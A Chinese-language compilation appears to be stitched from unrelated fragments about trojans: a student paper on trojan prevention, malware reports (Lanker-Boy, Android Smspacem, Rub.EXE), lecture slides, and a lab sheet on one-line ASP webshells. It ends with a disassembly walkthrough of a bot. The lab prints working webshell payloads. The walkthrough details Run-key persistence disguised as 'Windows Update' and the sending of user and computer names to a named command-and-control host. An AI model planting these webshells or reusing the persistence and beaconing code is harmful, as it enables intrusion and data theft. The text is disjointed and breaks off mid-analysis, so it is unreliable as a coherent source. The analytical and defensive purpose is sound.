完整版木马分析.doc
木马病毒的原理和预防论文

信息安全课程期末论文题目计算机木马病毒的研究和预防措施学院数学计算机学院专业软件工程年级2011级学生学号***********学生姓名赵鸿伟计算机木马病毒的研究和预防措施摘要随着信息化时代的到来人类社会生活对因特网的需求日益增长,使得计算机网络技术迅速发展和普及。
因特网使得全世界都联系到了一起。
极大的促进了全球一体化的发展。
但是随着互联网的普及和应用的不断发展,各种黑客工具和网络手段导致网络和用户收到财产损失,其中最严重的就是木马攻击手段。
它以其攻击范围广、危害大等特点成为常见的网络攻击技术之一,对整个互联网照成了极大的危害。
本文分析了木马病毒的基本原理,针对木马病毒的特征、传播途径等分析结果,找出计算机感染病毒的原因。
并且对木马病毒的种类、加载技术及现状进行了详细的研究,提出了完善的防范建议。
关键词:木马病毒;网络安全;自动加载;文件劫持;防护;措施AbstractWith the growing demand for information technology era of human social life on the Internet, computer network technology rapid development and popularization. The Internet makes the whole world is linked to together. Greatly contributed to the development of global integration. But with the popularity of the Internet and the continuous development of the application, a variety of hacking tools and network means the network and the user receives property damage, the most serious of which is Trojan attacks. With its wide range of attacks, hazards and other characteristics to become one of the common network attack techniques, the entire Internet according to become great harm.Keywords: Trojan; network security; Automatically loaded;Filehijacked ;protective;measures目录引言 (1)1 木马病毒的概述 (1)1.1木马病毒的基本特征 (1)1.2木马病毒的传播途径 (2)1.3木马病毒病毒的危害 (2)2 木马病毒的现状 (3)2.1特洛伊木马的发展 (4)2.2 木马病毒的种类 (4)3 木马病毒的基本原理 (5)3.1木马病毒的加载技术 (8)3.1.1 系统启动自动加载 (8)3.1.2 文件劫持 (8)3.2 木马病毒的隐藏技术 (8)4 “熊猫烧香”病毒剖析 (9)5 木马病毒的防范 (14)5.1基于用户的防范措施 (15)5.2基于服务器端的防范措施 (17)5.3加强计算机网络管理 (18)总结 (19)参考文献 (19)引言本文简单的介绍木马病毒的制作原理和防护措施,让大家对木马病毒的基本了解。
瘦男孩木马分析报告

一、木马简介网购木马“瘦男孩”(Lanker-Boy)通过篡改支付订单数据,以达到劫持受害网友交易资金的目的。
该木马家族最早出现在2014年9月,360QVM组追踪分析Lanker-Boy传播路径估算,国内已有约百万台电脑受到该木马家族的威胁,一些游戏外{过}{滤}挂网站和兼职刷单聊天群是Lanker-Boy木马传播的主要阵地。
网购木马最早在2010年前后出现,与早期的网购木马相比,Lanker-Boy具有更高明的免杀手段,其解密运行恶意代码的机制使传统特征码杀毒引擎不能很好应对,而且该木马作者以Lanker-Boy的账号在各大杀毒软件论坛“主动反馈误报”,通过社工欺骗手段蒙混过关,木马也因此具有更强的传播力和更多的存活空间。
图:“Lanker-Boy”的运作机制二、“Lanker-Boy”名称由来1.为了防止木马重复感染,木马作者在样本中编写了互斥标记,名为“Lanker”。
2.木马加密的DLL文件名为Lanker.dll。
3.从2014年11月至2015年1月,木马作者使用域名传播木马。
4.从2015年1月至2015年3月,木马作者使用http://43.252.231.52/lanker.txt云控木马支付账户配置。
5.从2015年1月至今,木马作者使用Lanker-boy账号在多家国内杀软论坛反馈“误报”,并成功骗取一些杀毒厂商信任,使其去除了原本可以查杀的病毒特征。
三、木马特点1)主动上报传统情况下,木马作者会躲避和杀毒软件的接触,从而避免木马被查杀。
而“Lanker-Boy”的木马作者在编写完木马后,第一时间将木马上传给杀毒厂商,伪装“游戏大厅”的程序被误报,要求杀毒厂商删除病毒特征。
而国内某些厂商收到木马后,不但没能及时发现,反而去除了原本可以查杀的特征。
根据VirusTotal扫描显示,截止2015年4月7日,全球安全厂商中仅有360可以查杀“Lanker-Boy”的重要组件Lanker.dll。
木马

4
木马的工作原理
木马的传统技术: 木马的传统技术:
C/S模式运行。 C/S模式运行。 模式运行 服务器端在远程主机上开放监听端口等待外来的 连接, 当入侵者需要与远程主机连接时, 连接 , 当入侵者需要与远程主机连接时 , 便主动 发出连接请求,建立连接。 发出连接请求,建立连接。 第一代和第二代都采用这种技术。 第一代和第二代都采用这种技术。
木马攻击与防范
1
主要内容 木马的种类 木马的工作原理 木马防范
计算机科学与电子系
Department of Computer Science and Electronic
2
木马的种类
按照木马的发展历程,可以分为四个阶段: 按照木马的发展历程,可以分为四个阶段:
第一代木马是伪装型病毒, 第一代木马是伪装型病毒 , 将病毒伪装成一个合 法程序运行, PC-Write。 法程序运行,如:PC-Write。 第二代木马是网络传播型木马, 第二代木马是网络传播型木马 , 具备伪装和传播 两种功能, 可以进行密码窃取、 远程控制, 两种功能 , 可以进行密码窃取 、 远程控制 , 如 : 冰河。 冰河。 第三代木马是利用端口反弹技术, 第三代木马是利用端口反弹技术 , 改进了连接方 灰鸽子木马。 式,如:灰鸽子木马。 第四代木马在进程隐藏上做了较大改动, 第四代木马在进程隐藏上做了较大改动 , 让木马 服务器端运行时没有进程, 服务器端运行时没有进程 , 网络操作插入到系统 进程中完成, 广外男生。 进程中完成,如:广外男生。
Department of Computer Science and Electronic
Android木马Smspacem分析报告

Android木马Smspacem分析报告Android木马Smspacem分析报告安天实验室Android木马Smspacem分析报告安天实验室一、基本信息病毒名称:Trojan/Android.Smspacem病毒类型:木马样本MD5:60CE9B29A6B9C7EE22604ED5E08E8D8A样本长度: 1855,053 字节发现时间:2011.05.22感染系统:Android 2.1及以上二、概述Smspacem木马主要行为是在开机时自启动,被该恶意软件感染的设备会自动获取手机用户通讯录中的信息(联系人名称、电话号码、Email等),自动向其联系人电话发送短信,其内容为事先编辑好的,如“现在无法通话,世界末日即将来临”等;该软件还试图访问指定的主机服务,并将从被感染设备的通讯录中获得的邮箱地址发送到远程服务器上;最后还会将被感染设备的壁纸修改为事先设定好的图像。
当被该恶意软件感染的设备接收短信时,短信将被拦截,并且该恶意软件将删除短信数据库中的短信,并且向该短信的发送地址发送一条事先编辑好的信息,如“现在无法通话,世界末日即将来临”等。
这一类的木马主要由最近关于世界末日将于2011年5月21日来临的新闻所引起。
抵御木马的关键是用户要对自己的设备进行安全设置,并在安装软件后查看其权限中是否存在敏感的权限等。
图 1 Holy软件界面及特殊权限三、样本特征3.1敏感权限●允许应用程序访问设备的手机功能:有此权限的应用程序可以确定此手机的号码和序列号、是否正在通话、以及对方的号码等。
●允许应用程序发送短信:恶意应用程序可能会不经您的确认就发送信息,给您产生费用。
●允许应用程序写入手机或 SIM 卡中存储的短信:恶意应用程序可借此删除您的信息。
●允许应用程序读取您的手机或 SIM 卡中存储的短信:恶意应用程序可借此读取您的机密信息。
●允许应用程序接收和处理短信:恶意应用程序可借此监视您的信息,或者将信息删除而不向您显示。
一个Trojan木马病毒的分析(一)

⼀个Trojan⽊马病毒的分析(⼀)⼀、基本信息 样本名称:Rub.EXE 样本⼤⼩:21504 字节 病毒名称:Trojan.Win32.Rootkit.hv 加壳情况:UPX(3.07) 样本MD5:035C1ADA4BACE78DD104CB0E1D184043 样本SHA1: BAD1CE555443FC43484E0FACF8B88EA8756F78CB 病毒⽂件的组成: 病毒母体⽂件Rub.EXE MD5:035C1ADA4BACE78DD104CB0E1D184043 病毒母体释放的⽂件owwesc.exe(随机字母组成的⽂件名并且是病毒母体Rub.EXE脱UPX 壳后的⽂件) MD5: CC7E53EBCE40AC0BFE07FAF3592C210A 病毒母体释放的⽂件hra33.dll MD5: 5B845C6FDB4903ED457B1447F4549CF0\ ⼆、样本脱壳 对病毒母体⽂件Rub.EXE进⾏查壳,使⽤DIE.exe查壳软件查壳的结果如下。
病毒母体⽂件被加了UPX壳,并且病毒的开发⼯具Microsoft Visual C/C++(6.0)。
UPX壳脱壳难度不⼤,根据脱壳的ESP定律,对病毒母体⽂件进⾏脱壳处理,然后开始对脱壳的病毒母体⽂件进⾏病毒的⾏为分析。
\ 三、样本病毒⾏为分析 1. 尝试打开注册表"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.Net CLR",判断该注册表是否存在。
\ 2. 如果注册表项"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.Net CLR"存在则为主线程设置服务派遣例程。
2.1 下⾯详细的分析病毒进程设置的服务派遣例程的⾏为。
2.1.1 为主线程服务控制设置服务请求处理过程函数,服务请求处理函数根据相关的控制命令nServiceControlStatus设置服务的状态。
【详细解析木马病毒对电脑的破坏】

【详细解析木马病毒对电脑的破坏】木马同病毒不是很一样病毒主要以破坏数据,破坏软硬件为目的木马则主要以偷窃数据,篡改数据为目的中木马后有可能对丢失上网帐号,各种口令和用户名,远程控制你的电脑,远程控制开启你机器的外围设备“木马”程序是目前比较流行的病毒文件,与一般的病毒不同,它不会自我繁殖,也并不“刻意”地去感染其他文件,它通过将自身伪装吸引用户下载执行,向施种木马者提供打开被种者电脑的门户,使施种者可以任意毁坏、窃取被种者的文件,甚至远程操控被种者的电脑深度系统。
“木马”与计算机网络中常常要用到的远程控制软件有些相似,但由于远程控制软件是“善意”的控制,因此通常不具有隐蔽性;“木马”则完全相反,木马要达到的是“偷窃”性的远程控制,如果没有很强的隐蔽性的话,那就是“毫无价值”的。
一个完整的“木马”程序包含了两部分:“服务器”和“控制器”。
植入被种者电脑的是“服务器”部分,而所谓的“黑客”正是利用“控制器”进入运行了“服务器”的电脑。
运行了木马程序的“服务器”以后,被种者的电脑就会有一个或几个端口被打开,使黑客可以利用这些打开的端口进入电脑系统,安全和个人隐私也就全无保障了!“木马”全称是“特洛伊木马(TrojanHorse)”,原指古希腊士兵藏在木马内进入敌方城市从而占领敌方城市的故事。
在Internet上,“特洛伊木马”指一些程序设计人员(或居心不良的马夫)在其可从系统之家上下载(Download)的应用程序或游戏外挂、或网页中,包含了可以控制用户的计算机系统或通过邮件盗取用户信息的恶意程序,可能造成用户的系统被破坏、信息丢失甚至令系统瘫痪。
一、木马的特性特洛伊木马属于客户/服务模式。
它分为两大部分,既客户端和服务端。
其原理是一台主机提供服务(服务器端),另一台主机接受服务(客户端),作为服务器的主机一般会打开一个默认的端口进行监听。
如果有客户机向服务器的这一端口提出连接请求,服务器上的相应程序就会自动运行,来答应客户机的请求。
个人对于常见木马特征的简析

个人对于常见木马特征的简析摘要:木马的危害性在于它对电脑系统强大的控制和破坏能力,窃取密码、控制系统操作、一旦木马被植入你的机器,攻击者就可以象操作自己的机器一样控制你的机器,甚至可以远程监控你的所有操作。
本文对木马共性做了一次简析,为相关问题的解决提供参考依据。
关键词:脚本植入;隐藏性;植入端口;木马端口连接一、木马的共同特性一般的木马都有客户端和服务器端两个执行程序,其中客户端是用于攻击者远程控制植入木马的机器,服务器端程序即是木马程序。
攻击者要通过木马攻击你的系统,他所做的第一步是要把木马的服务器端程序植入到你的电脑里面。
二、木马传播途径及运行原理目前木马入侵的主要途径还是先通过一定的方法把木马执行文件弄到被攻击者的电脑系统里,如邮件、下载等,然后通过一定的提示故意误导被攻击者打开执行文件,比如故意谎称这是个木马执行文件是你朋友送给你贺卡,可能你打开这个文件后,确实有贺卡的画面出现,但这时可能木马已经悄悄在你的后台运行了。
一般的木马执行文件非常小,大到都是几K到几十K,如果把木马捆绑到其它正常文件上,你很难发现的,所以,有一些网站提供的软件下载往往是捆绑了木马文件的,在你执行这些下载的文件,也同时运行了木马。
木马也可以通过Script、ActiveX及Asp、Cgi交互脚本的方式植入,由于浏览器在执行Script脚本上存在一些漏洞,攻击者可以利用这些漏洞传播木马,甚至直接对浏览者电脑进行文件操作等控制,木马还可以利用系统的一些漏洞进行植入。
木马在被植入攻击主机后,它一般会通过一定的方式把入侵主机的信息,如主机的IP地址、木马植入的端口等发送给攻击者,这样攻击者有这些信息才能够与木马里应外合控制攻击主机。
三、木马隐藏特性的主要表现在运行前,很一些木马经常故意弄成Txt、Html等你认为对你系统没有多少危害性质的文件图标。
在运行中,木马的作者也意识到如果程序打开后像早期木马一样没有什么反应的话,他们往往会有采取行动杀除木马。
L003001041-一句话木马测试分析

课程编写别内容题名称L003001041-一句话木马测试分析与要求熟悉一句话木马的原理,掌握一句话木马的使用以及防御方法(虚拟PC)操作系统类型:windows server 2003和windows XP professional,网络接口:本地连接连接要求PC 网络接口,本地连接与实验网络直连描述中国菜刀环境描述1、学生机与实验室网络直连;2、VPC1与实验室网络直连;3、学生机与VPC1物理链路连通;知识黑客在注册信息的电子邮箱或者个人主页等中插入类似如下代码:<%execute request("value")%>其中value是值,所以你可以更改自己的值,前面的request就是获取这个值<%eval request("value")%>(现在比较多见的,而且字符少,对表单字数有限制的地方特别的当知道了数据库的URL,就可以利用本地一张网页进行连接得到Webshell。
(不知道数据库也可以request("value")%>这个文件被插入到哪一个ASP文件里面就可以了。
)这就被称为一句话木马,它是基于B/S结构的。
内容理解该漏洞的实现过程步骤学生登录实验场景的操作1、学生单击“网络拓扑”进入实验场景,单击windows2003中的“打开控制台”按钮,进入目标我们把windows2003机器作为服务机(ip地址为192.168.1.154,不固定)2、学生输入账号Administrator ,密码123456,登录到实验场景中的Windows server 2003,在该网站,并且能够正常访问。
如图所示:3、学生输入账号Administrator ,密码123456,登录到实验场景中的Windows XP Professional。
4.打开windows 2003上的网站,我们通过名小子或者啊D获取到了后台地址(这两个工具的使用方法和啊Dsql注入实例),以及用户名和密码(均是admin),然后登陆进去。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
完整版-木马分析 一个木马的分析 第一次详细分析木马,不足之处请见谅。 这个木马一共4KB,是个比较简单的程序,所以分析起来也不是很难。下面开始正式分析。 这是程序的主题函数,一进来就是三个初始化的call,然后就是一个大的循环,程序就是在这个循环之中不停的运行着。 跟进第一个call: 函数首先创建了一个hObject变量~用于存放创建的互斥对象句柄。mov [ebp+hObject], start proc near eax就是将创建的互斥句柄传送到 call sub_401481hObject中。这里是创建了一个名为 call sub_401092 H1N1Bot的互斥对象。然后调用 call sub_4011AE loc_4014C4: GetLastError得到错误码~这里加 call sub_4013D5 入程序已经有一份实例在运行了~则 call sub_40143F push 0EA60h ; 这个互斥对象就是创建过了的~就是dwMilliseconds 得到错误代码为0B7h的值。通过查 call Sleep 询msdn发现:0b7h含义是Cannot jmp short loc_4014C4 start endp create a file when that file already exists.所以这样就防止了木马程序同时打开了多份。当返回值是0B7h的时候~调用ExitProcess退出程序。总结来说这个call就是检查程序是否已经打开~要是打开过了就退出。 进入401092的call,由于这hObject = dword ptr -4 个函数代码过多,就不贴详细的.text:00401481 代码了。函数定义了两个局部字.text:00401481 push ebp 符串数组ExistingFileName,.text:00401482 mov ebp, esp String2(这里是ida分析给出的名.text:00401484 add esp, 0FFFFFFFCh 字)和一个文件指针。函数先将.text:00401487 push offset Name ; 这两个数组用零填充,然后调用"H1N1Bot" GetModuleFileNameA得到当前.text:0040148C push 0 ; 程序的完整路径,并将结果存放bInitialOwner 在ExistingFileName中。在调用.text:0040148E push 0 ; SHGetFolderPathA并将结果存lpMutexAttributes 放在String2中。 .text:00401490 call CreateMutexA SHGetFolderPathA可以获.text:00401495 mov [ebp+hObject], eax 取系统文件夹,这里他的参数值.text:00401498 call GetLastError 是0x1c。 .text:0040149D cmp eax, 0B7h Const .text:004014A2 jz short loc_4014A6 CSIDL_LOCAL_APPDATAH1C调用ExitProcess退出程序. (用户)\本地设置\应用程序数.text:004014A4 leave 据。即如果以administration身.text:004014A5 retn 份登录获得的是C:\DocumentsandSettings\Administrator\Local Settings\Applicaton Data\路径。 然后调用lstrcatA这个函数在String2的后面加上\\winvv.exe。然后比较String2和ExistingFileName是否相同,不同则把自身复制到ExistingFileName中,最后运行复制 过去的文件,自身退出。 总体来讲第二个call就是路径检查的。 3. 进入4011AE的call,这个函数就是实现程序的开机运行,手法也很简单。就是在注册表中创建键值。位置在Software\Microsoft\Windows\CurrentVersion\Run\,键值叫做Windows Update,其迷惑作用。 4(下面我们进入这个木马的核心程序。大循环。4013D5的call sub_4013D5 proc near lpString = dword ptr -4 push ebp mov ebp, esp add esp, -4 push 40h ; flProtect push 1000h ; flAllocationType push 512 ; dwSize push 0 ; lpAddress call VirtualAlloc ; 申请内存 mov [ebp+lpString], eax ; 内存首地址存到局部变量里 mov dword ptr [eax], 'edom' add eax, 4 mov dword ptr [eax], 'i&2=' add eax, 4 mov dword ptr [eax], 'tned' add eax, 4 mov byte ptr [eax], '=' inc eax ; 向buffer中填充mode=2&ident=(注意顺序) push eax push eax ; lpString call sub_40138B ; 向buffer追加当前系统用户名,并返回用户名长度 mov ecx, eax pop eax add eax, ecx push eax ; eax始终保持指向字符串的末尾 push eax ; lpString call sub_4013B0 ; 获取计算机名,并追加到buffer中,返回计算机名长度 push [ebp+lpString]此时buffer内容为"mode=2&ide nt=AdministratorPC-201008252144" push [ebp+lpString] ; lpString call sub_401000 关键call push 8000h ; dwFreeType push 0 ; dwSize push [ebp+lpString] ; lpAddress call VirtualFree 程序首先构造了一个字符串mode=XX&ident=XX(XX表示生成的数据),然后调用401000的函数。这个函数是构造了一个网络请求,并向指定的网站发送post请求。用到的函数有InternetOpenA,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile。 用抓包软件可以分析出我电脑上post的数据. POST /admin/bot.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: myAgent Host: mmmbsbt.co.cc Content-Length: 26 Cache-Control: no-cache mode=2&ident=studentCSE029 (studentCSE029为我电脑上的用户名) 此时对方并未返回数据,可能只是需要向服务器post一下数据而已。 到此这个大函数的任务完成,于是返回。 然后进入40143F的函数。 sub_40143F proc near lpString = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFFCh push 40h ; flProtect push 1000h ; flAllocationType push 200h ; dwSize push 0 ; lpAddress call VirtualAlloc 申请缓冲区 mov [ebp+lpString], eax push [ebp+lpString] ; int push offset String ; "mode=1" call sub_401000 调用post数据的函数 push [ebp+lpString] ; lpString call sub_40134E ; 处理命令 push 8000h ; dwFreeType push 0 ; dwSize push [ebp+lpString] ; lpAddress call VirtualFree leave retn sub_40143F endp 这个函数也只有两个重点处,调用0x401000处的函数,这个函数刚刚用过,传入两个参数,函数将服务器返回的数据存放在第一个参数中,第二个参数仅仅是需要post的数据。 POST /admin/bot.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: myAgent Host: mmmbsbt.co.cc Content-Length: 6 Cache-Control: no-cache mode=1 这是post的数据,mode参数变成了1,但是服务器什么也没返回。所以返回数据只能之际分析程序了。 下面我们进入处理服务器返回数据的函数0x40134E。